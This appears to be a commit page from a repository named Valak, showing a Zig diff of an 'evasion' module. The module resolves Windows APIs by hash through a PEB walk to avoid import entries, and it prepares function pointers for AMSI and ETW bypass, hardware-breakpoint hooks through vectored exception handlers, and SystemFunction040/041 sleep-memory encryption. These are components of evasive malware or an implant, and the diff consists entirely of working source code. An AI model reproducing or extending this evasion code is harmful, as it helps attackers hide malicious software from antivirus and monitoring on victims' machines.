JYenn/Valak
1
3
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids

Browse Source
This commit is contained in:
SISTA
2026-07-18 09:30:00 +01:00
committed by JYenn
parent cc60a24d98
commit a1f467199f
17 changed files with 552 additions and 910 deletions
Download Patch File Download Diff File Expand all files Collapse all files
evasion/api.zig
+36 -38
View File
@@ -1,28 +1,28 @@
const win = @import("win32.zig");
// resolved function pointers from kernel32 + advapi32. all peb-walked, no iat entries added.
const windows = @import("std").os.windows;
const nt = @import("nt.zig");
const resolve = @import("resolve.zig");
const apitypes = @import("apitypes.zig");
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW;
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress;
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler;
pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread;
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext;
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread;
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread;
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress;
pub const hash_ror13 = apitypes.hash_ror13;
pub const resolve_api = apitypes.resolve_api;
pub const get_module_by_hash = apitypes.get_module_by_hash;
pub const get_func_by_hash = apitypes.get_func_by_hash;
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;
pub const NT_SUCCESS = nt.NT_SUCCESS;
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: windows.LPCSTR) callconv(nt.WINAPI) windows.HMODULE;
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(nt.WINAPI) ?windows.HMODULE;
pub const T_amsi_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque;
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(nt.WINAPI) windows.ULONG;
pub const T_amsi_GetCurrentThread = *const fn () callconv(nt.WINAPI) windows.HANDLE;
pub const T_amsi_SetThreadContext = *const fn (hThread: windows.HANDLE, lpContext: *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL;
pub const T_amsi_SuspendThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
pub const T_amsi_ResumeThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
pub const T_etw_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
@@ -37,9 +37,9 @@ pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
pub var hwbp_add_veh: ?*const fn (first: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(nt.WINAPI) windows.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (windows.HANDLE, *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL = null;
var g_ensure_done: bool = false;
@@ -50,39 +50,37 @@ pub fn ensure() void {
const k32_hash = hash_ror13("kernel32.dll");
if (comms_load_library_a == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
comms_load_library_a = @ptrCast(p);
}
if (resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| comms_load_library_a = @ptrCast(p);
}
if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
}
if (amsi_get_proc_address == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
if (resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
amsi_get_proc_address = @ptrCast(p);
etw_get_proc_address = @ptrCast(p);
}
}
if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
}
if (amsi_remove_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
}
if (amsi_get_current_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
}
if (amsi_set_thread_context == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
}
if (amsi_suspend_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
}
if (amsi_resume_thread == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
if (resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
}
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
@@ -91,8 +89,8 @@ pub fn ensure() void {
if (sleep_SystemFunction040 == null) {
const advapi_hash = hash_ror13("advapi32.dll");
_ = resolve.get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
_ = get_module_by_hash(advapi_hash);
if (resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
if (resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
}
}